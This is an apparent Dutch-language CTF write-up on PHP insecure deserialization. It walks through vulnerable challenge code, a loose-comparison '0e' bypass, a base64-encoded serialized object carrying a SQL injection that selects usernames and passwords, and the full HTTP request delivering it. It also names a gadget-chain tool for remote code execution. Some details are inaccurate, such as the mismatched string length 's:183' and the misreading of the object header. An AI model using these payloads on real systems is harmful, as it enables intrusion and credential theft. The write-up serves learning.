PHP Serialization

PHP Serialization

PHP Serialization is een onderwerp dat niet vaak besproken is of waar mensen weinig vanaf weten, in dit artikel wil ik er wat dieper op in gaan. De volgende code wordt hiervoor gebruikt:

 <?php

  class insert_log
  {
      public $new_data = "Valid access logged!";
      public function __destruct()
      {
          $this->pdo = new SQLite3("/tmp/log.db");
          $this->pdo->exec("INSERT INTO log (message) VALUES ('".$this->new_data."');");
      }
  }

  if (isset($_COOKIE["247"]) && explode(".", $_COOKIE["247"])[1].rand(0, 247247247) == "0") {
      file_put_contents("/dev/null", unserialize(base64_decode(explode(".", $_COOKIE["247"])[0])));
  } else {
      echo highlight_file(__FILE__, true);
  }

Als wij deze code uit elkaar gaan halen dan gebeurt er het volgende, er wordt een klas aangemaakt genaamd insert_log waarbij een publiekelijke variable wordt gemaakt met als waarde “Valid access logged!”. Daarna een functie genaamd _destruct() die vervolgens een sql query uit zal gaan voeren met behulp van de $new_data variable.

Als wij op een manier die variable kunnen bemachtigen kunnen wij mogelijk een sql injectie uitvoeren. Wij gaan nu naar de if statement kijken.

if (isset($_COOKIE["247"]) && explode(".", $_COOKIE["247"])[1].rand(0, 247247247) == "0")

Deze if statement is ook weer uit elkaar te halen en te splitsen.

if (isset($_COOKIE["247"]) &&

Hier wordt er gezegd dat er een cookie wordt gezet genaamd “247”, in andere woorden wij moeten een cookie versturen met als naam 247. Het tweede gedeelte ziet als volgt uit:

explode(".", $_COOKIE["247"])[1].rand(0, 247247247) == "0")

wat dit gedeelte eigenlijk doet is het volgende, er wordt een cookie verstuurd met de volgende waarde:

247 = 12312312312312.0e

De if statement zal de waarde die bij de cookie hoort in dit geval 247 splitsen en de waarde 0e samenvoegen met een willekeurig nummer tussen 0 en 247247247.

 $_COOKIE["247"])[1]

Bovenstaande gedeelte zorgt voor de splitsing en pakt daarna de 2de waarde in ons geval ‘0e’, om het nog makkelijker te demonstreren gebeurt er het volgende:

verzameling = [0:12312312312312, 1:0e]

Doordat de code aangeeft de eerste waarde te willen hebben zoals te zien is aan de ‘[1]’ pakt hij de 0e en voegt die samen met een willekeurig nummer tussen 0 en 247247247.

Wij zijn nu voorbij de if statement gekomen en dan zien wij het volgende:

file_put_contents("/dev/null", unserialize(base64_decode(explode(".", $_COOKIE["247"])[0])));

Hier wordt er serialization toegepast, en ook nog eens base64 decode. Dit betekent dat de cookie eerst omgezet moet worden naar een base64 waarde voordat die mee wordt gegeven in de cookie.

Maar wat is nou serialization?

Serialization is eigenlijk het volgende:

Jij hebt een kaart en deze kaart wil je versturen, de kaart doe je in een envelop en verstuur je naar de ontvanger. In dit geval de envelop noemen wij een object en het versturen naar de ontvangen noemen wij een stream van bytes. Serialization is eigenlijk niks anders dan een object omzetten naar een stream van bytes om het vervolgens te kunnen versturen of ergens op te slaan.

Serialization (C#) | Microsoft Docs

Deserialization is de stream van bytes weer terug te zetten naar een object.

C# Deserialization - javatpoint

In php kunnen wij de volgende script gebruiken om een object te serializen, zie onderstaande script.

<?php

class insert_log 
{
	public function __construct()
	{
		$this->new_data = "test";

	}
}

$obj = new insert_log();
$value = base64_encode(serialize($obj));

?>

De uitkomst hiervan is als volgt:

O:10:"insert_log":1:{s:8:"new_data";s:183:"test";}

Bovenstaande is een geserialiseerd object in php, wat dit eigenlijk zegt is het volgende:

1. 0:10 = 0 objecten en insert_log is 10 karakters lang
2. :1: = 1 klass
3. {s:8:"new_data"= s betekent een string en de 8 betekent 8 karakters lang, new_data is de variable die je oproept.
4. s:5:"test" = s staat voor string en de 5 voor 5 karakters en dan de waarde die jij meegeeft dus "test"

Nu hebben wij een serialization en moeten wij dit omzetten naar base64 en versturen met de cookie. Bij aankomst wordt de cookie eerst vanuit base64 gedoceerd waarna de deserialisatie toegepast kan worden en het weer een object is.

De bedoeling is dus nu om misbruik te maken van de sql query die wordt uitgevoerd, aan de code te zien weten wij dat het sqlite3 is en dat wij dus gebruik moeten maken van die syntax.

Wat jij bijvoorbeeld zou kunnen doen is het volgende:

O:10:"insert_log":1:{s:8:"new_data";s:183:"');SELECT username, password FROM users --";}

Bovenstaande zou dan nog base64 gecodeerd moeten worden waarna het er als volgt uit ziet:

TzoxMDoiaW5zZXJ0X2xvZyI6MTp7czo4OiJuZXdfZGF0YSI7czoxODM6IiBmJycpO1NFTEVDVCB1c2VybmFtZSwgcGFzc3dvcmQgRlJPTSB1c2VycyAtLSI7fQ==

De request die uiteindelijk verstuurd moet worden is als volgt:

GET / HTTP/1.1
Host: 029bc02af493bc4e.247ctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://247ctf.com/dashboard
Connection: close
Cookie: 247=TzoxMDoiaW5zZXJ0X2xvZyI6MTp7czo4OiJuZXdfZGF0YSI7czoxODM6IiBmJycpO1NFTEVDVCB1c2VybmFtZSwgcGFzc3dvcmQgRlJPTSB1c2VycyAtLSI7fQ==.0e
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Wees je ervan bewust dat in de 247 cookie de encoded payload te zien is en erachter een .0e te vinden, dit is nodig om uiteindelijk de eerdere if statement te passeren.

Gadgets

Bij serialization hoort ook natuurlijk nog de term gadgets, met de term gadgets wordt eigenlijk bedoelt de kwetsbare path naar het uiteindelijke doel. In de meeste gevallen remote code execution, door het volgende van de gadget chain kom je uiteindelijk bij het punt waar mogelijk een kwetsbaarheid zit.

Er bestaat een handige tool dat kan helpen bij het vinden van gadgets.

https://github.com/ambionics/phpggc

Bedankt voor het lezen en tot de volgende keer !

we did it meme.jpg | Cherry Creek

Please share and spread
5 1 stem
Artikelbeoordeling
Abonneer
Laat het weten als er
guest
0 Reacties
Inline feedbacks
Bekijk alle reacties
NederlandsEnglish
0
Zou graag je gedachten willen weten, s.v.p. laat een reactie achter.x
()
x